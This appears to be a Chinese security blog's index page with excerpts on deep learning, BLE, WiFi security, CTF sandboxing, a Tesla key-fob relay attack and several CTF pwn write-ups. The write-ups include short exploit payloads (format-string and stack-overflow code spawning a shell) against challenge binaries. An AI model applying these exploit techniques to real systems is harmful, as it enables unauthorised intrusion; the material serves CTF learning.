深度学习(DLML)学习路径
深度学习(DL/ML)学习路径前言最近几年,尤其是自从2016年Alpha Go打败李世石事件后,人工智能技术受到了各行业极大关注。其中以机器学习技术中深度学习最受瞩目。主要原因是这些技术在科研领域和工业界的应用效果非常好,大幅提升了算法效率、降低了成本。因而市场对相关技术有了如此大的需求。
我在思考传统行业与这些新兴技术结合并转型的过程中,亦系统的回顾了深度学习及其相关技术。本文正是我在学习过程中所作的总结。我将按照我所理解的学习路径来呈现各部分内容,希望对你亦有帮助。欢迎一起交流。
主要分为如下几个部分:
数学基础:包括微积分、线性代数、概率论等对理解机器学习算法有帮助的基本数学。
Python:Python提供了非常丰富的工具包,非常适合学习者实现算法,也可以作为工业环境完成项目。主流的深度学习框架,例如当前最流行的两个AI框架TensorFlow、PyTorch都以Python作为首选语言。此外,主流的在线课程(比如Andrew Ng在Coursera的深度学习系列课程)用Python作为练习项目的语言。在这部分,我将介绍包括Python语言基础和机器学习常用的几个 ...
深入浅出低功耗蓝牙(BLE)协议栈
深入浅出低功耗蓝牙(BLE)协议栈BLE协议栈为什么要分层?怎么理解BLE“连接”?如果BLE协议只有ATT层没有GATT层会发生什么?
协议栈框架一般而言,我们把某个协议的实现代码称为协议栈(protocol stack),BLE协议栈就是实现低功耗蓝牙协议的代码,理解和掌握BLE协议是实现BLE协议栈的前提。在深入BLE协议栈各个组成部分之前,我们先看一下BLE协议栈整体架构。
如上图所述,要实现一个BLE应用,首先需要一个支持BLE射频的芯片,然后还需要提供一个与此芯片配套的BLE协议栈,最后在协议栈上开发自己的应用。可以看出BLE协议栈是连接芯片和应用的桥梁,是实现整个BLE应用的关键。那BLE协议栈具体包含哪些功能呢?简单来说,BLE协议栈主要用来对你的应用数据进行层层封包,以生成一个满足BLE协议的空中数据包,也就是说,把应用数据包裹在一系列的帧头(header)和帧尾(tail)中。具体来说,BLE协议栈主要由如下几部分组成:
PHY层(Physical layer物理层)。PHY层用来指定BLE所用的无线频段,调制解调方式和方法等。PHY层做得好不好,直接决定整个 ...
浅谈WIFI安全
浅谈WIFI安全WIFI简介与发展历史简介如今现在几乎所有的智能手机、平板电脑和笔记本电脑都具备WiFi接入功能WiFi 全称 Wireless Fidelity,又称为802.11b标准。Wireless Fidelity翻译过来是无线保真,其中保真是指要求在无线网络中可靠地传输数据WiFi的定义:一种把有线上网的方式转变成无线上网方式的技术
名词解释在后续学习WiFi安全的过程中,有一些名词是我们现在需要了解的前置知识
SSID(Service Set Identifier) 服务集标识符
通俗地说,SSID便是你给自己的无线网络所取的名字,用来标识某一无线局域网的唯一标识符,无线客户端用它入网后与接入点进行通信。只有匹配成功的SSID名称和密码才能使无线客户端接入对应的无线网络。SSID信号由无线路由器或者AP进行向外发射。SSID包括BSSID和ESSID两种类型
AP(Access Point) 无线访问点或接入点
客户端需要链接AP才能获得登录互联网的能力,具备路由功能的AP就是一个无线路由器
ESSID
对终端用户来说,搜索到的无线网络的名称就是ES ...
沙箱机制
沙箱机制0x00: 简介沙箱机制,英文sandbox也就是我们常说的沙箱,是计算机领域的虚拟技术,常用于安全方向。一般说来,我们不会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。
在CTF比赛中,pwn题中的沙箱一般都会限制execve的系统调用,这样一来one_gaget和system调用都不好使,只能采取open/read/write的组合方式来读取flag。当然有些题目还会砍掉一个系统调用,进一步限制我们获取flag。
0x01: 开启沙箱的两种方式在CTF的pwn题中一般有两种函数调用的方式实现沙盒机制,第一种是采用prctl函数调用,第二种是使用seccomp函数。
在具体了解prctl函数之前,我们再了解这样一个概念,沙箱是程序运行过程中的一种隔离机制,其目的是限制不可信进程和不可信代码的访问权限。seccomp是内核中的一种安全机制,seccomp可以在程序中禁用掉一些系统调用来达到保护系统安全的目的,seccomp规则的设置,可以使用prctl函数和seccomp函数。
0x0: prct ...
汽车“ECU”安全风险与攻击分析
汽车“ECU”安全风险与攻击分析前言随着汽车电子、车联网、无人驾驶技术的快速发展,汽车控制智能化越来越深入,带来的安全隐患层出不跌,汽车系统被成功攻破的例子屡见不鲜,方法和手段也呈现多样化。
特斯拉“PKES(Passive Keyless Entry and Start)系统”被30秒攻破,攻击者在CHES2018发表了研究成果,我有幸在现场聆听,主要是利用中继攻击的方法进行攻击。特斯拉PKES工作原理如下:
特斯拉PKES工作原理
攻击者是在PKES的工作过程中汽车与钥匙的数据交互的过程中,伪装成汽车,获取敏感信息,攻破密钥,再伪装成KEY,解锁汽车,具体攻击过程如下:
Phase 0: 攻击者记录汽车周期性传输的wake以获取2字节的car id;
Phase 1: 攻击者伪装成汽车,传输2个选好的40位的challenge到key fob,并记录各自24位的response;
Phase 2: 使用challenge response对和TMTO表,就可以恢复40位的密钥。第一对用于选择正确的key子集,第二对用于从大约2^16个可能的key中找出key。
Phase 3: ...
汇编语言——王爽版总结
汇编语言——王爽版总结基础知识
汇编语言包括汇编指令和伪指令还有其他符号
在内存或磁盘上,指令和数据没有任何区别,都是二进制
CPU对存储器的读写是通过总线
总线从逻辑上又分为地址总线和控制总线还有数据总线
对于CPU来说,系统中的所有存储器中的存储单元都处于一个统一的逻辑存储器中,它的容量受CPU寻址能力的限制。这个逻辑存储器即是我们所说的内存地址空间。
寄存器
寄存器分为通用寄存器和段寄存器还有其他的寄存器
AX,BX,CX,DX都是通用寄存器,还可以细分为AH和AL其他寄存器同样,AL和AH等寄存器可以看做独立的寄存器。
一个字节为8bit,一个字节两个字。
由于8086寄存器是16位,但是地址总线为20位,可以达到1m的寻址能力。故
CPU中相关的部件提供两个16位的地址,一个为段地址,一个为偏移地址,物理地址为段地址*16+偏移地址。
段地址存放在段寄存器中,段寄存器根据不同的段又分为CS,DS,SS,ES段寄存器。
CS和IP是8086的两个关键的寄存器,他们指示了CPU当前要读取指令的地址。CS为段寄存器,IP为指令指针寄存器(也可以叫做指令偏移寄存器,我这么认 ...
每日一pwn[[第五空间2019 决赛]PWN5]
每日一pwn[[第五空间2019 决赛]PWN5]前言做这个题感觉很简单,但是脑袋没想得过来,一直在尝试用%s泄露随机数,然后写回去,发现无论咋样数据都很难写对,看了其他师傅的wp后发现可以用%n来写那个随机数,只能说自己太傻了。
分析
代码特别简单,就是生成随机数和一个格式化字符串的漏洞,还有输入数据进行对比,并且给了后门函数,于是直接用就行
漏洞点存在栈上的格式化字符串漏洞,可以任意地址泄露和任意地址覆写的漏洞,于是可以泄露随机数,然后回写,或者改写那个随机数为我们输入的即可。不算太难,就直接贴EXP了
EXP我的代码前面经过了部分lambda函数的定义的,是一个模板类型方便调试的exp,这里只给出了关键漏洞利用的数据
12345678def exploit(): li('exploit...') bss_addr = 0x0804C044 payl ...
每日一pwn[pwn1_sctf_2016]
每日一pwn[pwn1_sctf_2016]前言在寒假玩了太久后的第一次刷题,直接来个每日一pwn,就当恢复训练了
分析代码简单分析了一下
总的来说就是一个C++的逆向分析,总的来说不算难,但是对于没有接触过C++的来说,还是有点难以理解的。后面会简单介绍一下关于这段代码的。
12printf("Tell me something about yourself: ");fgets(s, 32, edata);
这段代码就是打印提示语句,然后从edata这个流获取输入,和C语言里面没区别
1std::string::operator=((int)&input, (int)s);
这段代码就很有C++的特性了,因为C++里面出现了一个新的方式那就命名空间的说法,其实可以理解为就是调用库的形式。这段代码就可以理解为从标准库的string模块调用operator这个函数,于是我们搜索的时候,便可以搜索std::string::operator()函数的作用,或者看汇编代码默认识别的函数格式
于是我们知道这个函数其实就是将s的数据转换为C++格式的stri ...
每日一pwn[jarvisoj_level2]
每日一pwn[jarvisoj_level2]前言简单32位栈溢出
分析
简单分析一下知道,存在栈溢出漏洞,并且有system函数还有/bin/sh字符
于是栈溢出简单利用一下即可
漏洞点栈溢出漏洞,有system函数和/bin/sh字符,是32位的大量栈溢出
EXP12345678def exploit(): li('exploit...') bin_sh = 0x0804A024 system_addr = 0x8048320 call_system = 0x804849E pl = "A"*0x88+p32(bin_sh)+p32(call_system)+p32(bin_sh) db() sla("Input:",pl)
每日一pwn[ciscn_2019_n_8]
每日一pwn[ciscn_2019_n_8]前言有现成的后门函数,但是触发需要一定的条件,根据汇编函数的关系构造数据即可、
分析
发现在scanf读入数据后,对读入的数据进行判断是否满足条件,如果满足即可触发后门函数,这也是一般的路由器会留的一些方便调试的后门类型
漏洞点可以看到首先对第13个数据进行判断是不是非0,然后判断第13个数据是不是17,于是可以知道数据的第13*4=0x34的地方是0x11这数据即可绕过
EXP12345def exploit(): li('exploit...') pl = b'A'*0x34+(b'\x11'+b'\x00'*3) db() sla("What's your name?",pl)